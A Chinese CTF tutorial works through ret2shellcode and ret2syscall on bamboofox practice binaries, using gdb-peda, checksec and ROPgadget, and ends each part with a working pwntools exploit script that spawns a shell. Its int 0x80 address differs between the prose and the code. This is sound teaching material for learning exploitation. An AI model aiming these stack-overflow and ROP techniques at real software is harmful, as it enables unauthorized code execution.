ret2shellcode,即控制程序shellcode代码。shellcode指的是用于完成某个功能的汇编代码,如:call等,常见的功能主要是获取目标系统的shell。如果想执行shellcode,需要对应的binary在运行时,shellcode所在的区域具有可执行权限。
还是以bammboofox的ret2shellcode为例
附:ret2shellcode
第一步还是进行checksec
giantbranch@ubuntu:~/Desktop/PWN$ checksec ret2shellcode
[*] '/home/giantbranch/Desktop/PWN/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
可以看到没有开启数据执行保护(NX)和其他的保护措施,并且可读可写可执行的部分存在。
在拖到IDA里面看一下
还是老演员gets先生了~
仍然是最基本的栈溢出漏洞,不过这次害将对应的地府通过strcpy函数复制到buf2中,不妨来看一下buf2
看到buf2在bss段。
看看bss段所在的buf2能否可执行呢?
首先将文件的权限提升一下。
giantbranch@ubuntu:~/Desktop/PWN$ chmod a+x ret2shellcode
giantbranch@ubuntu:~/Desktop/PWN$ gdb ret2shellcode
在main函数设下断点:
gdb-peda$ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
r查看一下
Starting program: /home/giantbranch/Desktop/ret2shellcode
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb8dbc --> 0xffffd0dc --> 0xffffd2cf ("XDG_VTNR=7")
EBX: 0x0
ECX: 0x245de9ae
EDX: 0xffffd064 --> 0x0
ESI: 0xf7fb7000 --> 0x1b1db0
EDI: 0xf7fb7000 --> 0x1b1db0
EBP: 0xffffd038 --> 0x0
ESP: 0xffffcfb0 --> 0xffffcfde --> 0xffff0000 --> 0x0
EIP: 0x8048536 (<main+9>: mov eax,ds:0x804a060)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804852e <main+1>: mov ebp,esp
0x8048530 <main+3>: and esp,0xfffffff0
0x8048533 <main+6>: add esp,0xffffff80
=> 0x8048536 <main+9>: mov eax,ds:0x804a060
0x804853b <main+14>: mov DWORD PTR [esp+0xc],0x0
0x8048543 <main+22>: mov DWORD PTR [esp+0x8],0x2
0x804854b <main+30>: mov DWORD PTR [esp+0x4],0x0
0x8048553 <main+38>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 --> 0xffffcfde --> 0xffff0000 --> 0x0
0004| 0xffffcfb4 --> 0xffffd0dc --> 0xffffd2cf ("XDG_VTNR=7")
0008| 0xffffcfb8 --> 0xe0
0012| 0xffffcfbc --> 0x0
0016| 0xffffcfc0 --> 0xf7ffd000 --> 0x23f3c
0020| 0xffffcfc4 --> 0xf7ffd918 --> 0x0
0024| 0xffffcfc8 --> 0xffffcfe0 --> 0xffffffff
0028| 0xffffcfcc --> 0x80482d0 ("__libc_start_ma"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main () at ret2shellcode.c:8
8 ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0xf7fb8dbc (environ) —▸ 0xffffd0dc —▸ 0xffffd2cf ◂— 'XDG_VTNR=7'
EBX 0x0
ECX 0x245de9ae
EDX 0xffffd064 ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0xffffd038 ◂— 0x0
ESP 0xffffcfb0 —▸ 0xffffcfde —▸ 0xffff0000 ◂— 0x0
EIP 0x8048536 (main+9) ◂— mov eax, dword ptr [0x804a060]
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x8048536 <main+9> mov eax, dword ptr [0x804a060]
0x804853b <main+14> mov dword ptr [esp + 0xc], 0
0x8048543 <main+22> mov dword ptr [esp + 8], 2
0x804854b <main+30> mov dword ptr [esp + 4], 0
0x8048553 <main+38> mov dword ptr [esp], eax
0x8048556 <main+41> call setvbuf@plt <0x8048410>
0x804855b <main+46> mov eax, dword ptr [stdin@@GLIBC_2.0] <0x804a040>
0x8048560 <main+51> mov dword ptr [esp + 0xc], 0
0x8048568 <main+59> mov dword ptr [esp + 8], 1
0x8048570 <main+67> mov dword ptr [esp + 4], 0
0x8048578 <main+75> mov dword ptr [esp], eax
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffcfb0 —▸ 0xffffcfde —▸ 0xffff0000 ◂— 0x0
01:0004│ 0xffffcfb4 —▸ 0xffffd0dc —▸ 0xffffd2cf ◂— 'XDG_VTNR=7'
02:0008│ 0xffffcfb8 ◂— 0xe0
03:000c│ 0xffffcfbc ◂— 0x0
04:0010│ 0xffffcfc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— cmp al, 0x3f /* 0x23f3c */
05:0014│ 0xffffcfc4 —▸ 0xf7ffd918 ◂— 0
06:0018│ 0xffffcfc8 —▸ 0xffffcfe0 ◂— 0xffffffff
07:001c│ 0xffffcfcc —▸ 0x80482d0 ◂— pop edi
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 8048536 main+9
f 1 f7e1d637 __libc_start_main+247
Breakpoint main
利用vmmap指令查看bss段对应的段所具有的权限。
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/giantbranch/Desktop/ret2shellcode
0x08049000 0x0804a000 r-xp /home/giantbranch/Desktop/ret2shellcode
0x0804a000 0x0804b000 rwxp /home/giantbranch/Desktop/ret2shellcode
0xf7e04000 0xf7e05000 rwxp mapped
0xf7e05000 0xf7fb5000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb5000 0xf7fb7000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fb8000 rwxp /lib/i386-linux-gnu/libc-2.23.so
0xf7fb8000 0xf7fbb000 rwxp mapped
0xf7fd3000 0xf7fd4000 rwxp mapped
0xf7fd4000 0xf7fd7000 r--p [vvar]
0xf7fd7000 0xf7fd9000 r-xp [vdso]
0xf7fd9000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 rwxp [stack]
buf2在bss段是0x0804A080明显在
0x0804a000 0x0804b000中的,因此buf所在的bss段具有可读可写可执行。
那么我们可以通过i控制程序执行shellcode,然后控制程序执行bss出的shellcode。
然后我们来计算一下偏移:
重启gdb
然后利用pattern 生成200个字符
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
键入r
输入刚刚生成的200个字符
gdb-peda$ r
Starting program: /home/giantbranch/Desktop/ret2shellcode
No system for you this time !!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
bye bye ~
来查看EIP指针的变化情况:
► f 0 41384141
f 1 41414e41
f 2 3941416a
f 3 414f4141
f 4 41416b41
f 5 6c414150
f 6 41514141
f 7 41416d41
f 8 6f414152
f 9 41534141
f 10 41417041
Program received signal SIGSEGV (fault address 0x41384141)
看到地址故障在0x41384141处出现了,是因为溢出造成的。
我们使用指令
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112
偏移为:112
随后将shellcode刚好写入buf因为溢出所报错的地方
编写exp如下:
from pwn import *
sh=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf2addr=0x0804A080
sh.sendline(shellcode.ljust(112,'A')+p32(buf2addr))
sh.interactive()
这里出现的:asm(shellcraft.sh())
shellcraft.sh()是自带的一段codeshell,也可以去官网去查询需要的shellcode
shellcode.ljust(num,‘str’)指将shellcode凑齐num位不足的用str来左补齐,这里正好将shellcode凑足112位溢出到报错的地方实现pwn。
来看一下效果/
$符出现,表明PWN成功!
老样子先checksec
可以看到NX开启的32位程序。
老样子,先gdb-peda读取一下看看让我们干什么。
啊被嘲讽了,这次没有system和shellcode可以用了
真的吗真的吗
拖进IDA里面看一看
又是你!!!!gets先生!!
不用说了,又存在溢出,当然文章本身就是在讲溢出(bushi
老样子查看偏移!
先通过命令生成200个字符,由于main中只有gets一个读取函数,以此来查看epi的偏移情况。
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
r
► f 0 41384141
f 1 41414e41
f 2 3941416a
f 3 414f4141
f 4 41416b41
f 5 6c414150
f 6 41514141
f 7 41416d41
f 8 6f414152
f 9 41534141
f 10 41417041
Program received signal SIGSEGV (fault address 0x41384141)
gdb-peda$ pattern offset 0x41384141
1094205761 found at offset: 112
偏移为112
但是这一次我们不能自己去写入shellcode了,这个办法随着NX的开启已经行不通了!!
难道我们已经没有办法了?
当然不是
在之前的文章中
我们提到的gadgets可以被利用哦~
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
由于程序是32位的。所以参数应该满足:
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
由于我们并不希望有一段连续的代码去控制对应的寄存器,因此需要分段,利用ropgadgets这个工具。
giantbranch@ubuntu:~/Desktop$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
这三个能控制EAX的都可以选用,我选择第二个作为gadgets
同理,来选一个能控制ebx的
可以看到我们在选用ebx的时候顺带发现能控制edx和ecx的,果断选择这个
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这些分段都完成之后,我们需要调用/bin/sh来拿到shell
因此需要找到/bin/sh对应的地址
也是使用ROPgadget
giantbranch@ubuntu:~/Desktop$ ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
还需要所调用的int 80的地址:
为0x08048421
然后开始构造payload!
在payload输入后,
执行情况是这样的
执行mov esp,ebp&pop ebp后,esp指向了eax的ret
执行ret指令后eip指向了exa的ret,同时esp指向0xb
然后cpu执行了pop exa,此时0xb的值赋给了exa,同时esp上移,执行ret指令。将esp的内容给eio,然后cpu执行pop_edx_ecx_ebx_ret
直到结束为止。
mov esp ,ebp
pop ebp 上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret 使eip变为返回地址,然后jmp
Syscall的函数调用规范为:execve(“/bin/sh”, 0,0);
所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0
它对应的汇编代码为:
pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80
我们构造payload,先填充到ret前,接下来执行ret,这里因为要调用execve函数,所以要将对应的寄存器赋值才能执行。
这时候我们开启了NX,栈不可执行。怎么把对应的寄存器赋值呢?
这里用了一个巧妙的办法,搜索多个gadget片段(ret结尾的),给相应的寄存器赋值。
为什么如pop eax ; ret这样的指令会给寄存器赋值呢?
首先了解一下ret指令干了什么,16为汇编的ret的汇编指令执行如下:
ip=ss*16+sp
sp=sp+2
这时候问题就解决了,因为指令执行到填充完的ret前时,这时候esp指向ret,紧接着指令执行ret后,即准备执行ret存储的内容(pop eax;ret),但是ret指令不仅会修改eip,还会把栈顶前移,这时候32位的程序会把esp向栈顶移4位
此时的esp指向的就是我们要赋予eax的值:0xb,ret指令执行完后,eip指向了pop eax;ret。
执行pop eax(将0xb赋给eax,esp+4),在执行ret命令(eip指向esp+4)即pop_edx_ecx_ebx_ret。以此类推将对应的寄存器赋值,最后eip跳转到int 80的地址执行完成整个ret2syscall
‘’‘
以上部分摘抄自某博客园大佬
from pwn import *
sh=process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
#payload=flat(['A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh,int_0x80])
payload=flat(['a'*112,0x080bb196,0xb,0x0806eb90,0,0,0x080be408,0x08049421])
sh.sendline(payload)
sh.interactive()